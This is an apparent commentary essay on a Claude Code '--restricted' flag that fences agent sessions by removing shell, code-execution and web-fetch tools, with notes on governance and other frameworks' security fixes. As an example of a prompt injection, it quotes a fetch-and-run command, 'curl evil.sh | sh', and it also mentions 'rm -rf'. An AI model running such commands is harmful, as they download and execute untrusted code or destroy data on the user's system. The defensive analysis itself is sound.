Claude Code Just Gave You a Kill Switch for Your Agent's Blast Radius

Apply the Trust Boundary Model to a normal agent session and the diagram is ugly. Your prompt crosses into the model. The model's output crosses back out as a tool call. That tool call crosses into your shell, your filesystem, and, via web fetch, into content written by strangers. Every one of those crossings is a place where data moves from one trust level to another, and until this release Claude Code inspected almost none of them by default.

The v2.1.248 notes describe --restricted as removing the tools that run commands or code and removing WebFetch unless named. Invert that sentence and you get the pre-existing default: commands run, code runs, the web gets fetched, all without you asking for it per session. That was the shipped behavior. Not a bug. The intended product.

This is the part vendors don't put in a headline. A capable agent is, by construction, a program that decides at runtime which of your system's interfaces to touch. The lab picks a default capability set. You inherit it. --restricted is the first time the consumer gets a documented lever to say no to a chunk of that set before the session starts, rather than approving or denying calls one nervous prompt at a time.

The framing that agent safety comes from the top (labs add guardrails, regulators impose limits) has always had a hole in it: the person who owns the machine had no primitive to enforce their own limit. This flag is that primitive. Small. Overdue. Load-bearing.

Be precise, because the marketing-adjacent instinct is to call this a sandbox. It isn't, and the distinction decides how much you can trust it.

A sandbox contains an agent that still has dangerous capabilities. It lets the agent try to run a command and then constrains what that command can reach: namespaces, seccomp, a container boundary. Capability fencing is upstream of that. The release says --restricted removes the command-execution and code-execution tools outright. The agent doesn't get a locked door. It gets no door.

That matters under the Attack Surface Analysis lens. Enumerate the accessible interfaces of a fenced agent and the list collapses: file read and write inside one working directory, plus whatever tools you explicitly named. A prompt injection that convinces the model to run curl evil.sh | sh fails not because a monitor caught it but because the tool the model would need to comply does not exist in that session. You cannot exploit a capability that was never loaded.

This is the cleaner side of the Capability vs. Controllability Frontier. More capable agents are harder to control, so the honest move is to let the operator choose a less capable configuration for a given task. Not every task needs shell access. Reviewing a directory of documents doesn't. Drafting a file doesn't. For those, --restricted moves you down the capability axis on purpose and buys back control you can actually reason about.

The catch: fencing is only as good as the enumeration. --restricted keeps file tools scoped to the working directory per the notes, and that scope is now the entire boundary. Stage the wrong directory and you've drawn your fence around the wrong pasture. The control is real. It still requires you to know what you're fencing.

Agent deployments live on a spectrum from copilot to full autonomy, and most failures come from running at the wrong point on it. The problem, until now, is that consumer tooling gave you almost no way to pick your point. You got the vendor's point.

--restricted is a coarse but genuine dial. At one end, the full Claude Code default: shell, code, web, files. At the other, the fenced configuration: files only, in one directory, plus a hand-picked tool list via --tools per the release notes. You choose which end a given session sits at based on the job.

Think about what that enables in practice. A user of hosted agent runtimes or managed agent products has mostly been asked to trust a provider's blanket autonomy setting. A dial like this, if it becomes a category norm, lets a power user match autonomy to task: full capability for a build-and-deploy loop where you're watching, fenced capability for a batch review job you're going to walk away from.

The walk-away case is the one that counts. Copilot-grade oversight assumes a human is watching each tool call and can hit stop. The moment the agent runs unattended, that assumption dies, and pre-session capability fencing becomes the only control that still applies. You can't approve a call you're not there for. You can have removed the dangerous tool before you left the room.

That's the shift. Oversight scales badly because humans are the bottleneck. Capability fencing scales fine because it's a decision you make once, before the run, and it holds for the whole session whether or not anyone is looking.

Here's where the consumer primitive quietly becomes an enterprise story. The Shadow Agent Problem is Shadow IT with worse blast radius: employees install agents without IT approval, and those agents arrive with broad system access by default. The security team's nightmare isn't the sanctioned deployment. It's the analyst who pointed a fully capable agent at a folder of customer data on a laptop nobody's monitoring.

--restricted doesn't solve governance. It does give governance something to grab. An environment variable, CLAUDE_CODE_RESTRICTED=1 per the release, is the kind of thing a managed device profile or a shell startup file can set globally. A security team could, in principle, ship a baseline where every Claude Code session on a corporate machine starts fenced, and a user has to consciously step outside that baseline to get shell access.

That inverts the default in the direction that matters. Right now the shadow agent inherits full capability and IT finds out later. A globally-set restricted default means the shadow agent inherits no dangerous capability, and expanding it becomes a visible act. Same Trust Boundary Model logic, applied at the fleet level instead of the session level.

Don't oversell it. An environment variable is trivially unset by anyone with a terminal, so this is a speed bump for the curious, not a wall against the determined. The real value is defense in depth. In the Swiss Cheese Model, high-impact incidents happen when the holes in several layers line up. A fenced default is one more layer with a smaller hole. It won't stop a motivated insider. It will stop the accidental rm -rf and the injected payload that assumed shell access it no longer has.

Look at what shipped alongside this and the contrast is instructive. On the same day, other agent frameworks pushed the kind of release notes that never make a headline.

Google's ADK for Python shipped v1.39.1, a bug-fix release porting an event-action allowlist and app-scoped file artifact storage to its v1 line. Pydantic's agent framework shipped v2.35.3, whose fixes include scoping download cookies to their original hostnames. That cookie-scoping change is, quietly, a real security fix: it stops credentials from leaking across hosts during a fetch. But it's plumbing. It hardens a capability the agent still has.

That's the difference worth naming. The Pydantic fix makes an existing capability safer. The Anthropic flag lets you remove the capability. One is defense inside the boundary; the other moves the boundary. Both matter. Only one is a thing a non-coding power user can reason about and set for themselves.

The hedged pattern read: the ecosystem is converging on capability control from different angles at once, some through better-scoped internals, some through user-facing removal. That convergence resembles the hardening phase of the Molt Cycle, the stretch where open agent projects move past rapid growth and start paying down the security debt they accumulated getting there. Frameworks harden their plumbing. First-party tools expose a fence. Different rungs of the same ladder.

Under the Harness Hypothesis, this is where the real value has been sitting all along. The model isn't the moat; the harness that connects the model to your world is. And the harness that lets you disconnect the model from parts of your world on demand is a more defensible harness than one that only knows how to say yes.

Zoom out to why a one-line flag carries category weight. The entire pitch for autonomous agents (the zero-human-company fantasy, the always-on digital worker, the fleet of agents running while you sleep) depends on running them unattended at scale. And unattended-at-scale is precisely the regime where per-call human approval stops working.

Watch the ambient pressure. AGI-timeline talk has gotten louder, with reporting on OpenAI's internal targets describing leadership estimating they'll declare AGI achieved internally by December 2026 and pointing at an unreleased model as an automated research intern. Whatever you make of the timeline, the direction is more capable, more autonomous agents deployed faster. The Capability vs. Controllability Frontier says the more capable they get, the harder they are to control. The controls have to arrive on the same curve or the gap becomes the risk.

That's the reframe the vendor didn't surface. --restricted reads like a feature for the timid. It's actually infrastructure for the ambitious. You cannot responsibly run a hundred agent sessions unattended if each one carries full shell and web capability by default. You can run a hundred fenced sessions, because you've bounded what any one of them can do to the files you staged, and a compromised or confused session hits a wall instead of your system.

So the honest verdict cuts against both the hype and the shrug. This is not a game-over move for agent risk; it's coarse, it's opt-in, and an unset environment variable defeats it. But it's the right shape. Consumer-side capability fencing is the primitive that makes unattended agent labor thinkable, because it lets the person who owns the blast radius decide how big it gets.

One last note for the desk. If you run agents unattended, fence them. Stage only the directory the task needs. Turn on --restricted and name the exact tools the job requires, nothing more. That's not paranoia. That's just knowing where your trust boundary is, and, for once, being handed a switch to move it.